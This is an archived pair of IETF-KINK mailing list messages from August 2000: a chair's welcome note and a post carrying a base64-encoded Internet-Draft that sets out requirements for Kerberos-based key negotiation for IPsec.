From owner-ietf-kink Wed Aug 9 10:35:27 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id KAA05694 for ietf-kink-bks; Wed, 9 Aug 2000 10:35:27 -0700 (PDT) Received: from breeze.research.telcordia.com (breeze-fddi.research.telcordia.com [192.4.5.9]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA05679 for ; Wed, 9 Aug 2000 10:35:12 -0700 (PDT) Received: from rcn.ihtfp.org (root@blamo [207.3.231.13]) by breeze.research.telcordia.com (8.10.1/8.10.1) with SMTP id e79HXtY01707 for ; Wed, 9 Aug 2000 13:33:56 -0400 (EDT) From: Derek Atkins Date: Wed, 09 Aug 2000 18:33:54 GMT Message-ID: <20000809.18335400@rcn.ihtfp.org> Subject: Welcome to IETF-KINK! To: ietf-kink@vpnc.org X-Mailer: Mozilla/3.0 (compatible; StarOffice/5.1; Linux) X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id KAA05690 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hi, and welcome to the IETF-KINK mailing list. We're still in the throws of setting up this list and associated sites, but hopefully we can ramp up quickly and start getting some good conversation going on this list. The first item on the agenda are to agree on a set of requirements for the protocol. I'd like to limit discussion at this time to requirements only. Once we've agreed on the requirements then we can move on to protocol discussions. I'm hoping that Mike Thomas can send out a current draft of the requirements in order to start a discussion. Again, welcome to KINK. -derek From owner-ietf-kink Wed Aug 9 11:22:56 2000 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id LAA06671 for ietf-kink-bks; Wed, 9 Aug 2000 11:22:56 -0700 (PDT) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA06667 for ; Wed, 9 Aug 2000 11:22:55 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [171.71.147.106]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id LAA14248; Wed, 9 Aug 2000 11:21:58 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id LAA19911; Wed, 9 Aug 2000 11:21:42 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="hUL/GSCR9M" Content-Transfer-Encoding: 7bit Message-ID: <14737.41269.489166.117071@thomasm-u1.cisco.com> Date: Wed, 9 Aug 2000 11:21:41 -0700 (PDT) To: ietf-kink@vpnc.org Cc: mshore@cisco.com Subject: KINK requirements draft X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --hUL/GSCR9M Content-Type: text/plain; charset=us-ascii Content-Description: message body text Content-Transfer-Encoding: 7bit As promised, here's the updated requirements draft. Note that I've changed the name from "charter" to "reqmt" to reflect that this is a requirements document. Mike --hUL/GSCR9M Content-Type: application/octet-stream Content-Disposition: attachment; filename="draft-thomas-kink-reqmt-00.txt" Content-Transfer-Encoding: base64 CgoKCgoKSU5URVJORVQtRFJBRlQgICAgICBLSU5LIFJlcXVpcmVtZW50cyAgICAgTWljaGFl bCBUaG9tYXMKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2lz Y28gU3lzdGVtcwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBB dWd1c3QgOSwgMjAwMAoKCgoKCgogICAgICAgICAgICAgICAgS2VyYmVyaXplZCBJbnRlcm5l dCBOZWdvdGlhdGlvbiBvZiBLZXlzCgogICAgICAgICAgICAgICAgICAgICBkcmFmdC10aG9t YXMta2luay1yZXFtdC0wMC50eHQKCgoKU3RhdHVzIG9mIHRoaXMgTWVtbwoKICAgVGhpcyBk b2N1bWVudCBpcyBhbiBJbnRlcm5ldC1EcmFmdCBhbmQgaXMgaW4gZnVsbCBjb25mb3JtYW5j ZSB3aXRoCiAgIGFsbCBwcm92aXNpb25zIG9mIFNlY3Rpb24gMTAgb2YgUkZDMjAyNi4gIElu dGVybmV0LURyYWZ0cyBhcmUgd29ya2luZwogICBkb2N1bWVudHMgb2YgdGhlIEludGVybmV0 IEVuZ2luZWVyaW5nIFRhc2sgRm9yY2UgKElFVEYpLCBpdHMgYXJlYXMsCiAgIGFuZCBpdHMg d29ya2luZyBncm91cHMuICBOb3RlIHRoYXQgb3RoZXIgZ3JvdXBzIG1heSBhbHNvIGRpc3Ry aWJ1dGUKICAgd29ya2luZyBkb2N1bWVudHMgYXMgSW50ZXJuZXQtRHJhZnRzLgoKICAgSW50 ZXJuZXQtRHJhZnRzIGFyZSBkcmFmdCBkb2N1bWVudHMgdmFsaWQgZm9yIGEgbWF4aW11bSBv ZiBzaXggbW9udGhzCiAgIGFuZCBtYXkgYmUgdXBkYXRlZCwgcmVwbGFjZWQsIG9yIG9ic29s ZXRlZCBieSBvdGhlciBkb2N1bWVudHMgYXQgYW55CiAgIHRpbWUuICBJdCBpcyBpbmFwcHJv cHJpYXRlIHRvIHVzZSBJbnRlcm5ldC1EcmFmdHMgYXMgcmVmZXJlbmNlCiAgIG1hdGVyaWFs IG9yIHRvIGNpdGUgdGhlbSBvdGhlciB0aGFuIGFzICJ3b3JrIGluIHByb2dyZXNzLiIKCiAg IFRoZSBsaXN0IG9mIGN1cnJlbnQgSW50ZXJuZXQtRHJhZnRzIGNhbiBiZSBhY2Nlc3NlZCBh dAogICBodHRwOi8vd3d3LmlldGYub3JnL2lldGYvMWlkLWFic3RyYWN0cy50eHQKCiAgIFRo ZSBsaXN0IG9mIEludGVybmV0LURyYWZ0IFNoYWRvdyBEaXJlY3RvcmllcyBjYW4gYmUgYWNj ZXNzZWQgYXQKICAgaHR0cDovL3d3dy5pZXRmLm9yZy9zaGFkb3cuaHRtbC4KCkFic3RyYWN0 CgogICBUaGUgS0lOSyB3b3JraW5nIGdyb3VwIGlzIGNoYXJ0ZXJlZCB0byBjcmVhdGUgYSBz dGFuZGFyZHMgdHJhY2sKICAgcHJvdG9jb2wgdG8gZmFjaWxpdGF0ZSBjZW50cmFsaXplZCBr ZXkgbWFuYWdlbWVudCBmb3IgSVBzZWMgc2VjdXJpdHkKICAgYXNzb2NpYXRpb25zIGFzIGRl ZmluZWQgaW4gUkZDIDI0MDEsIGFzIGFuIGFsdGVybmF0aXZlIHRvIElLRSAoUkZDCiAgIDI0 MDkpLiAgUGFydGljaXBhdGluZyBzeXN0ZW1zIHdpbGwgdXNlIHRoZSBLZXJiZXJvcyBhcmNo aXRlY3R1cmUgYXMKICAgZGVmaW5lZCBpbiBSRkMgMTUxMCAoYW5kIGl0cyBzdWNjZXNzb3Jz KSBmb3Iga2V5IG1hbmFnZW1lbnQuIFRoZSBnb2FsCiAgIG9mIHRoZSB3b3JraW5nIGdyb3Vw IGlzIHRvIHByb2R1Y2UgYSBzdHJlYW1saW5lZCwgZmFzdCwgZWFzaWx5CiAgIG1hbmFnZWQs IGFuZCBjcnlwdG9ncmFwaGljYWxseSBzb3VuZCBwcm90b2NvbCB3aXRob3V0IHJlcXVpcmlu ZwogICBwdWJsaWMga2V5LgoKICAgVGhlIHdvcmtpbmcgZ3JvdXAgd2lsbCBub3QgcmVxdWly ZSBjaGFuZ2VzIHRvIGVpdGhlciBJUHNlYyAoUkZDCiAgIDI0MDEpLCBvciBLZXJiZXJvcyAo UkZDIDE1MTApLgoKCgoKVGhvbWFzICAgICAgICAgICAgICAgICBkcmFmdC10aG9tYXMta2lu ay1yZXFtdC0wMCAgICAgICAgICAgICAgIFtQYWdlIDFdCgoKCgoKSU5URVJORVQtRFJBRlQg IEtlcmJlcml6ZWQgSW50ZXJuZXQgTmVnb3RpYXRpb24gb2YgS2V5cyAgICA5IEF1Z3VzdCAy MDAwCgoKTW90aXZhdGlvbgoKICAgVGhlIElQc2VjIHdvcmtpbmcgZ3JvdXAgaGFzIGRlZmlu ZWQgYSBudW1iZXIgb2YgcHJvdG9jb2xzIHdoaWNoCiAgIHByb3ZpZGUgdGhlIGFiaWxpdHkg dG8gY3JlYXRlIGFuZCBtYWludGFpbiBjcnlwdG9ncmFwaGljYWxseSBzZWN1cmUKICAgc2Vj dXJpdHkgYXNzb2NpYXRpb25zIGF0IGxheWVyIHRocmVlIChpZSwgdGhlIElQIGxheWVyKS4g IFRoaXMgZWZmb3J0CiAgIGhhcyBwcm9kdWNlZCB0d28gZGlzdGluY3QgcHJvdG9jb2xzOgoK ICAgMSkgYSBtZWNoYW5pc20gdG8gZW5jcnlwdCBhbmQgYXV0aGVudGljYXRlIElQIGRhdGFn cmFtIHBheWxvYWRzIHdoaWNoCiAgICAgIGFzc3VtZXMgYSBzaGFyZWQgc2VjcmV0IGJldHdl ZW4gdGhlIHNlbmRlciBhbmQgcmVjZWl2ZXIKCiAgIDIpIGEgbWVjaGFuaXNtIGZvciBJUHNl YyBwZWVycyB0byBwZXJmb3JtIG11dHVhbCBhdXRoZW50aWNhdGlvbiBhbmQKICAgICAgZXhj aGFuZ2Uga2V5aW5nIG1hdGVyaWFsCgogICBUaGUgSVBzZWMgd29ya2luZyBncm91cCBoYXMg ZGVmaW5lZCBhIHBlZXIgdG8gcGVlciBhdXRoZW50aWNhdGlvbiBhbmQKICAga2V5aW5nIG1l Y2hhbmlzbSwgSUtFIChSRkMgMjQwOSkuIE9uZSBvZiB0aGUgZHJhd2JhY2tzIG9mIGEgcGVl ciB0bwogICBwZWVyIHByb3RvY29sIGlzIHRoYXQgZWFjaCBwZWVyIG11c3Qga25vdyBhbmQg aW1wbGVtZW50IGEgc2l0ZSdzCiAgIHNlY3VyaXR5IHBvbGljeSB3aGljaCBpbiBwcmFjdGlj ZSBjYW4gYmUgcXVpdGUgY29tcGxleC4gSW4gYWRkaXRpb24sCiAgIHRoZSBsYWNrIG9mIGEg dHJ1c3RlZCB0aGlyZCBwYXJ0eSByZXF1aXJlcyB0aGUgdXNlIG9mIERpZmZpZSBIZWxsbWFu CiAgIChESCkgdG8gZXN0YWJsaXNoIGEgc2hhcmVkIHNlY3JldC4gREgsIHVuZm9ydHVuYXRl bHksIGlzIGNvbXB1dGF0aW9uLQogICBhbGx5IHF1aXRlIGV4cGVuc2l2ZSBhbmQgcHJvbmUg dG8gZGVuaWFsIG9mIHNlcnZpY2UgYXR0YWNrcy4gSUtFIGFsc28KICAgcmVsaWVzIG9uIFgu NTA5IGNlcnRpZmljYXRlcyB0byByZWFsaXplIHNjYWxhYmxlIGF1dGhlbnRpY2F0aW9uIG9m CiAgIHBlZXJzLiBEaWdpdGFsIHNpZ25hdHVyZXMgYXJlIGFsc28gY29tcHV0YXRpb25hbGx5 IGV4cGVuc2l2ZSBhbmQgY2VyLQogICB0aWZpY2F0ZSBiYXNlZCB0cnVzdCBtb2RlbHMgYXJl IGRpZmZpY3VsdCB0byBkZXBsb3kgaW4gcHJhY3RpY2UuCiAgIFdoaWxlIElLRSBkb2VzIGFs bG93IGZvciBwcmUtc2hhcmVkIHN5bW1ldHJpYyBrZXlzLCBrZXkgZGlzdHJpYnV0aW9uCiAg IGlzIHJlcXVpcmVkIGJldHdlZW4gYWxsIHBlZXJzIC0tIGFuIE8obl4yKSBwcm9ibGVtIC0t IHdoaWNoIGlzIHByb2ItCiAgIGxlbWF0aWMgZm9yIGxhcmdlIGRlcGxveW1lbnRzLgoKICAg S2VyYmVyb3MgKFJGQyAxNTEwKSBwcm92aWRlcyBhIG1lY2hhbmlzbSBmb3IgdHJ1c3RlZCB0 aGlyZCBwYXJ0eQogICBhdXRoZW50aWNhdGlvbiBmb3IgY2xpZW50cyBhbmQgc2VydmVycy4g Q2xpZW50cyBhdXRoZW50aWNhdGUgdG8gYQogICBjZW50cmFsaXplZCBzZXJ2ZXIgLS0gdGhl IEtleSBEaXN0cmlidXRpb24gQ2VudGVyIC0tIHdoaWNoIGluIHR1cm4KICAgaXNzdWVzIHRp Y2tldHMgdGhhdCBzZXJ2ZXJzIGNhbiBkZWNyeXB0IHRodXMgcHJvdmluZyB0aGF0IHRoZSBj bGllbnQKICAgaXMgd2hvIGl0IGNsYWltcyB0byBiZS4gT25lIG9mIHRoZSBlbGVtZW50cyBv ZiBhIEtlcmJlcm9zIHRpY2tldCBpcyBhCiAgIHNlc3Npb24ga2V5IHdoaWNoIGlzIGdlbmVy YXRlZCBieSB0aGUgS0RDIHdoaWNoIG1heSBiZSB1c2VkIGJ5IHRoZQogICBjbGllbnQgYW5k IHNlcnZlciB0byBzaGFyZSBhIHNlY3JldC4gS2VyYmVyb3MgYWxzbyBhbGxvd3MgZm9yIGJv dGgKICAgc3ltbWV0cmljIGtleSBhdXRoZW50aWNhdGlvbiwgYXMgd2VsbCBhcyBjZXJ0aWZp Y2F0ZSBiYXNlZCBwdWJsaWMga2V5CiAgIGF1dGhlbnRpY2F0aW9uIChQS2luaXQpLiBTaW5j ZSB0aGUgYXV0aGVudGljYXRpb24gcGhhc2Ugb2YgS2VyYmVyb3MKICAgaXMgcGVyZm9ybWVk IGJ5IHRoZSBLREMsIHRoZXJlIGlzIG5vIG5lZWQgdG8gcGVyZm9ybSBleHBlbnNpdmUgREgg b3IKICAgWC41MDkgY2VydGlmaWNhdGUgc2lnbmF0dXJlcy92ZXJpZmljYXRpb24gb3BlcmF0 aW9ucyBvbiBzZXJ2ZXJzLgogICBXaGlsZSBjbGllbnRzIG1heSBhdXRoZW50aWNhdGUgdXNp bmcgWC41MDkgY2VydGlmaWNhdGVzLCB0aGUgYXV0aGVuLQogICB0aWNhdGlvbiBwaGFzZSBj YW4gYmUgYW1vcnRpemVkIG92ZXIgdGhlIGxpZmV0aW1lIG9mIHRoZSBjcmVkZW50aWFscy4K ICAgVGhpcyBhbGxvd3MgYSBzaW5nbGUgREggYW5kIGNlcnRpZmljYXRlIGV4Y2hhbmdlIHRv IGJlIHVzZWQgdG8ga2V5CiAgIHNlY3VyaXR5IGFzc29jaWF0aW9ucyB3aXRoIG1hbnkgc2Vy dmVycyBpbiBhIGNvbXB1dGF0aW9uYWxseSBlY29ub21pYwogICB3YXkuIEtlcmJlcm9zIGFs c28gc3VwcG9ydCBjbGllbnRzIHdpdGggc3ltbWV0cmljIGtleXMgYnV0IHVubGlrZQogICBJ S0UsIHRoZSBzeW1tZXRyaWMga2V5cyBhcmUgc3RvcmVkIGluIHRoZSBLREMgbWFraW5nIHRo ZSBudW1iZXIgb2YKICAga2V5cyBhbiBPKG4pIHByb2JsZW0gcmF0aGVyIHRoYW4gTyhuXjIp LiAgS2VyYmVyb3MgYWxzbyBhbGxvd3Mgc2VjdS0KICAgcml0eSBwb2xpY3kgdG8gYmUgbWFu YWdlZCBpbiBhIG1vcmUgY2VudHJhbGl6ZWQgZmFzaGlvbiwgcmF0aGVyIHRoYW4KICAgZXhw ZWN0aW5nIGVhY2ggcG90ZW50aWFsbHkgdW50cnVzdHdvcnRoeSBwZWVyIHRvIGFiaWRlIGJ5 IHN0YXRlZAogICBzZWN1cml0eSBwb2xpY2llcyBvZiBhbiBvcmdhbml6YXRpb24uCgoKClRo b21hcyAgICAgICAgICAgICAgICAgZHJhZnQtdGhvbWFzLWtpbmstcmVxbXQtMDAgICAgICAg ICAgICAgICBbUGFnZSAyXQoKCgoKCklOVEVSTkVULURSQUZUICBLZXJiZXJpemVkIEludGVy bmV0IE5lZ290aWF0aW9uIG9mIEtleXMgICAgOSBBdWd1c3QgMjAwMAoKCiAgIFRoZSBLSU5L IHdvcmtpbmcgZ3JvdXAgdGFrZXMgdGhlc2UgYmFzaWMgZmVhdHVyZXMgb2YgS2VyYmVyb3Mg YW5kCiAgIHVzZXMgdGhlbSB0byBpdHMgYWR2YW50YWdlIHRvIGNyZWF0ZSBhIHByb3RvY29s IHdoaWNoIGNhbiBlc3RhYmxpc2gKICAgYW5kIG1haW50YWluIElQc2VjIHNlY3VyaXR5IGFz c29jaWF0aW9ucyAoUkZDIDI0MDEpLiAgSXQgc2hvdWxkIGJlCiAgIG5vdGVkIHRoYXQgS0lO SyBpcyBub3QgYSByZXBsYWNlbWVudCBmb3IgSUtFLiAgSUtFIGhhcyBvbmUgcHJvcGVydHkK ICAgd2hpY2ggS0lOSyBjYW5ub3QgcmVwcm9kdWNlOiAgdGhlIGFiaWxpdHkgZm9yIHR3byBw ZWVycyB0byBtdXR1YWxseQogICBhdXRoZW50aWNhdGUgYW5kIGV4Y2hhbmdlIGtleXMgd2l0 aG91dCB0aGUgbmVlZCBmb3IgYW4gYWN0aXZlbHkgcGFyLQogICB0aWNpcGF0aW5nIHRoaXJk IHBhcnR5LiBIb3dldmVyLCB0aGVyZSBhcmUgbWFueSBzaXR1YXRpb25zIHdoZXJlIGEKICAg dHJ1c3RlZCB0aGlyZCBwYXJ0eSB3aGljaCBwcm94aWVzIGF1dGhlbnRpY2F0aW9uIGlzIHZp YWJsZSwgYW5kIGluCiAgIGZhY3QgZGVzaXJhYmxlLgoKICAgV2hpbGUgS2VyYmVyb3Mgc3Bl Y2lmaWVzIGEgc3RhbmRhcmQgcHJvdG9jb2wgYmV0d2VlbiB0aGUgY2xpZW50IGFuZAogICB0 aGUgS0RDIHRvIGdldCB0aWNrZXRzLCB0aGUgYWN0dWFsIHRpY2tldCBleGNoYW5nZSBiZXR3 ZWVuIGNsaWVudCBhbmQKICAgc2VydmVyIGlzIGFwcGxpY2F0aW9uIHNwZWNpZmljLiAgS0lO SyBpcyBpbnRlbmRlZCB0byBiZSBhbiBhbHRlcm5hLQogICB0aXZlIHRvIHJlcXVpcmluZyBl YWNoIGFwcGxpY2F0aW9uIGhhdmluZyBpdHMgb3duIG1ldGhvZCBvZiB0cmFuLQogICBzcG9y dGluZyBhbmQgdmFsaWRhdGluZyBzZXJ2aWNlIHRpY2tldHMgdXNpbmcgYSBwcm90b2NvbCB3 aGljaCBpcwogICBlZmZpY2llbnQgYW5kIHRhaWxvcmVkIHRvIHRoZSBzcGVjaWZpYyBuZWVk cyBvZiBLZXJiZXJvcyBhbmQgdGhlCiAgIGFwcGxpY2F0aW9ucyBmb3Igd2hpY2ggaXQgcHJv dmlkZXMga2V5aW5nIGFuZCBwYXJhbWV0ZXIgbmVnb3RpYXRpb24uCgogICBHaXZlbiB0aGUg YWJvdmUsIGEgbmV3IGdlbmVyYWwga2V5aW5nIHByb3RvY29sIHdoaWNoIGxldmVyYWdlcyB0 aGUKICAgc2NhbGFiaWxpdHkgb2YgS2VyYmVyb3MgaXMgZGVzaXJhYmxlLiAgVGhlIHdvcmtp bmcgZ3JvdXAncyBmaXJzdCB0YXNrCiAgIGlzIHRvIGRlZmluZSB0aGlzIHByb3RvY29sIGFu ZCBkZWZpbmUgYW4gZG9tYWluIG9mIGludGVycHJldGF0aW9uIGZvcgogICBJUHNlYyB0byBl c3RhYmxpc2ggYW5kIG1haW50YWluIElQc2VjIHNlY3VyaXR5IGFzc29jaWF0aW9ucy4gVGhl IHByby0KICAgdG9jb2wgbXVzdCBiZSBhYmxlIHRvIHRha2UgZnVsbCBhZHZhbnRhZ2Ugb2Yg dGhlIGZlYXR1cmVzIG9mIFJGQyAyNDAxCiAgIGJ1dCBpbiB0aGUgY29udGV4dCBvZiBhIGNl bnRyYWxpemVkIGtleWluZyBhdXRob3JpdHkuCgpSZXF1aXJlbWVudHMKCiAgIEtJTksgbXVz dCBtZWV0IHRoZSBmb2xsb3dpbmcgcmVxdWlyZW1lbnRzIGF0IGEgbWluaW11bToKCi0gICAg VGhlIHByb3RvY29sIG11c3QgdXNlIEtlcmJlcm9zIHRvIGNyZWF0ZSBzZXNzaW9uIGtleXMg aW4gYSBzZWN1cmUKICAgICBmYXNoaW9uCgotICAgIFRoZSBwcm90b2NvbCBtdXN0IGJlIGFi bGUgdG8gaW50ZWdyYXRlIGludG8gc2VjdXJpdHkgYXJjaGl0ZWN0dXJlCiAgICAgb2YgSVBT ZWMgKFJGQyAyNDAxKQoKLSAgICBUaGUgcHJvdG9jb2wgbXVzdCBiZSBhYmxlIHRvIHN0YXJ0 IHVwIFNBJ3MgcmVnYXJkbGVzcyBvZiBhbnkKICAgICBjbGllbnQvc2VydmVyIGRpc3Bvc2l0 aW9uIGluIHRoZSBrZXlpbmcgcHJvdG9jb2wKCi0gICAgS2VyYmVyb3MgbWFrZXMgYSBkaXN0 aW5jdGlvbiBiZXR3ZWVuIGNsaWVudHMgYW5kIHNlcnZlcnM7IElQc2VjCiAgICAgZG9lcyBu b3QuIFRoZSBwcm90b2NvbCBtdXN0IGFsbG93IGZvciBJUHNlYyBzZWN1cml0eSBhc3NvY2lh dGlvbnMKICAgICB0byBiZSBpbml0aWF0ZWQgYnkgYm90aCBzZXJ2ZXJzIGFuZCBjbGllbnRz LCB0aHVzIHByZXNlcnZpbmcKICAgICBJUHNlYydzIHBlZXIgdG8gcGVlciBuYXR1cmUuCgot ICAgIFRoZSBwcm90b2NvbCBtdXN0IGJlIGFibGUgdG8gaW5pdGlhbGx5IGF1dGhlbnRpY2F0 ZSB1c2luZyBlaXRoZXIKICAgICBzZWNyZXQga2V5LCBvciBwdWJsaWMga2V5IGF1dGhlbnRp Y2F0aW9uLgoKLSAgICBUaGUgcHJvdG9jb2wgbXVzdCBhY2NvbW1vZGF0ZSBhbnkgY29tYmlu YXRpb24gb2YgcHVibGljIGFuZCBzZWNyZXQKICAgICBrZXkgcGVlcnMKCgoKVGhvbWFzICAg ICAgICAgICAgICAgICBkcmFmdC10aG9tYXMta2luay1yZXFtdC0wMCAgICAgICAgICAgICAg IFtQYWdlIDNdCgoKCgoKSU5URVJORVQtRFJBRlQgIEtlcmJlcml6ZWQgSW50ZXJuZXQgTmVn b3RpYXRpb24gb2YgS2V5cyAgICA5IEF1Z3VzdCAyMDAwCgoKLSAgICBUaGUgcHJvdG9jb2wg bXVzdCBiZSBhYmxlIHRvIGFsbG93IGEgcGVlciB0byBhdXRoZW50aWNhdGUgYW5kIHBhci0K ICAgICB0aWNpcGF0ZSBpbiBtYW55IHJlYWxtcwoKLSAgICBUaGUgcHJvdG9jb2wgbXVzdCBo YW5kbGUgYWJzb2x1dGUgdGltZSBza2V3IGdyYWNlZnVsbHkKCi0gICAgVGhlIHByb3RvY29s IG11c3QgYmUgYWJsZSB0byBjcmVhdGUsIG1vZGlmeSwgcmVrZXksIGFuZCBkZWxldGUKICAg ICBzZWN1cml0eSBhc3NvY2lhdGlvbnMKCi0gICAgVGhlIHByb3RvY29sIG11c3QgYmUgY2Fw YWJsZSBvZiBzZXR0aW5nIHVwIGJvdGggdHJhbnNwb3J0IGFuZCB0dW4tCiAgICAgbmVsIG1v ZGVzIG9mIElQU2VjCgotICAgIFRoZSBwcm90b2NvbCBtdXN0IGJlIGNhcGFibGUgb2Ygc2V0 dGluZyB1cCBib3RoIEFIIGFuZCBFU1Agc2VjdXJpdHkKICAgICBhc3NvY2lhdGlvbnMKCi0g ICAgVGhlIHByb3RvY29sIG11c3QgYmUgY2FwYWJsZSBvZiBuZWdvdGlhdGluZyBjaXBoZXIg c3VpdGVzCgotICAgIFRoZSBwcm90b2NvbCBtdXN0IGJlIGNhcGFibGUgb2Ygc2V0dGluZyB1 cCBJUHNlYyBmbG93IHNlbGVjdG9ycwoKLSAgICBUaGUgcHJvdG9jb2wgbXVzdCBiZSBjYXBh YmxlIG9mIHJla2V5aW5nIHdpdGhvdXQgdGhlIGFzc2lzdGFuY2Ugb2YKICAgICB0aGUgS0RD IGlmIHRoZSBzZXNzaW9uIHRpY2tldCBpcyBzdGlsbCB2YWxpZAoKLSAgICBUaGUgcHJvdG9j b2wgbXVzdCBtYWtlIGFuIGVmZm9ydCB0byBtaXRpZ2F0ZSB0aGlyZCBwYXJ0eSBEZW5pYWwg b2YKICAgICBTZXJ2aWNlIGF0dGFja3MgKGFrYSBab21iaWVzIGF0dGFja3MpCgotICAgIFRo ZSBwcm90b2NvbCBtdXN0IGJlIGFibGUgdG8gYmUgdXNlZCBmb3IgbW9yZSB0aGFuIElQc2Vj IGtleWluZwoKLSAgICBUaGUgcHJvdG9jb2wgbXVzdCBzdXBwb3J0IGJvdGggSVB2NCBhbmQg SVB2NgoKCkRlbGl2ZXJhYmxlcwoKICAgICBUaGUgd29ya2luZyBncm91cCdzIHJlc3BvbnNp YmlsaXRpZXMgYXJlIGFzIGZvbGxvd3M6CgotICAgIENvbXBsZXRlIGEgcHJvdG9jb2wgd2hp Y2ggbWVldHMgdGhlIHJlcXVpcmVtZW50cyBvdXRsaW5lZCBhYm92ZQoKLSAgICBLZWVwIGFs bCBLSU5LIHdvcmtpbmcgZ3JvdXAgZG9jdW1lbnRzIG1vdmluZyBhbG9uZyBwdWJsaWNhdGlv biAvCiAgICAgc3RhbmRhcmRpemF0aW9uIHRyYWNrLgogICBUaGUgbGlzdCBvZiB0aGUgd29y a2luZyBncm91cCdzIGN1cnJlbnQgd29yayBpdGVtcyBpcyBhcyBmb2xsb3dzOgoKLSAgICBE ZWZpbmUgdGhlIGJhc2UgS2VyYmVyaXplZCBJbnRlcm5ldCBOZWdvdGlhdGlvbiBvZiBLZXlz IHByb3RvY29sLgoKR29hbHMgYW5kIE1pbGVzdG9uZXMKCgpTZXAgMjAwMCAgICAgIENvbnNl bnN1cyBvbiByZXF1aXJlbWVudHMgZG9jdW1lbnQKCkRlYyAyMDAwICAgICAgUmV2aWV3IGRy YWZ0cyBhdCBEZWMgSUVURgoKCgoKVGhvbWFzICAgICAgICAgICAgICAgICBkcmFmdC10aG9t YXMta2luay1yZXFtdC0wMCAgICAgICAgICAgICAgIFtQYWdlIDRdCgoKCgoKSU5URVJORVQt RFJBRlQgIEtlcmJlcml6ZWQgSW50ZXJuZXQgTmVnb3RpYXRpb24gb2YgS2V5cyAgICA5IEF1 Z3VzdCAyMDAwCgoKSmFuIDIwMDEgICAgICBDb25zZW5zdXMgb24gYmFzZSBkcmFmdCBwcm90 b2NvbAoKTWFyIDIwMDEgICAgICBXRyBMYXN0IGNhbGwgb24gZHJhZnQKCk1hciAyMDAxLUp1 biAyMDAxCiAgICAgICAgICAgICAgSW50ZXJvcGVyYWJpbGl0eSBCYWtlb2ZmcwoKQXVnIDIw MDEgICAgICBJbnRlcm9wZXJhYmlsaXR5IHJlc3VsdHMsIGRlY2lzaW9uIHRvIHJlY3ljbGUg b3IgbW92ZSBmb3ItCiAgICAgICAgICAgICAgd2FyZAoKQWRtaW5pc3RyYXRpdmEKCkNoYWly KHMpOgoKICBEZXJlayBBdGtpbnMgPHdhcmxvcmRAcmVzZWFyY2gudGVsY29yZGlhLmNvbT4K CkRvY3VtZW50IEVkaXRvcjoKCiAgVEJECgpJbnRlcm5ldCBBcmVhIERpcmVjdG9yKHMpOgoK ICBKZWZmcmV5IFNjaGlsbGVyIDxqaXNAbWl0LmVkdT4KICBNYXJjdXMgTGVlY2ggPG1sZWVj aEBub3J0ZWxuZXR3b3Jrcy5jb20+CgpJbnRlcm5ldCBBcmVhIEFkdmlzb3I6CgpUQkQKCk1h aWxpbmcgTGlzdHM6CgogIEdlbmVyYWwgRGlzY3Vzc2lvbjogaWV0Zi1raW5rQHZwbmMub3Jn CiAgVG8gU3Vic2NyaWJlOiBtYWpvcmRvbW9AdnBuYy5vcmcKICBJbiBCb2R5OiBpbiBib2R5 OiBzdWJzY3JpYmUgaWV0Zi1raW5rCiAgQXJjaGl2ZTogZnRwOi8vCgpBY2tub3dsZWRnbWVu dHMKCiAgIFRoZSBvcmlnaW5hbCBLSU5LIEthYmFsIHdhczoKCiAgIE1pY2hhZWwgVGhvbWFz IChDaXNjbykKICAgRGF2aWQgTWNHcmV3IChDaXNjbykKICAgSmFuIFZpbGh1YmVyIChDaXNj bykKICAgSm9uYXRoYW4gVHJvc3RsZSAoQ2lzY28pCiAgIE1hdHQgSHVyIChDeWJlcnNhZmUp CiAgIE1pa2UgRnJvaCAoQ3liZXJzYWZlKQogICBTYXNoYSBNZWR2aW5za3kgKEdJKQogICBE ZXJlayBBdGtpbnMgKFRlbGNvcmRpYSkKCgoKVGhvbWFzICAgICAgICAgICAgICAgICBkcmFm dC10aG9tYXMta2luay1yZXFtdC0wMCAgICAgICAgICAgICAgIFtQYWdlIDVdCgoKCgoKSU5U RVJORVQtRFJBRlQgIEtlcmJlcml6ZWQgSW50ZXJuZXQgTmVnb3RpYXRpb24gb2YgS2V5cyAg ICA5IEF1Z3VzdCAyMDAwCgoKICAgSXQgbXVzdCBhbHNvIGJlIGFja25vd2xlZGdlZCB0aGF0 IHRoZSBQYWNrZXRjYWJsZSBTZWN1cml0eQogICBzcGVjaWZpY2F0aW9uIFBLVC1TUC1TRUMt STAxLTk5MTIwMSBwcm92aWRlZCB0aGUgcmF3IGZvZGRlcgogICBmb3IgdGhpcyBlZmZvcnQg aW4gaXRzIEtlcmJlcml6ZWQgSVBzZWMgc2VjdGlvbiwgYW5kIGFsbCBvZgogICB0aGUgZm9j dXMgdGVhbSBtZW1iZXJzIHdobyBwbGF5ZWQgYSBwYXJ0IGluIHRoZSBzcGVjLiBXZSBtdXN0 CiAgIGFsc28gYWNrbm93bGVkZ2UgTmFuY3kgRGF2b3VzdCBvZiBDYWJsZWxhYnMgZm9yIGtl 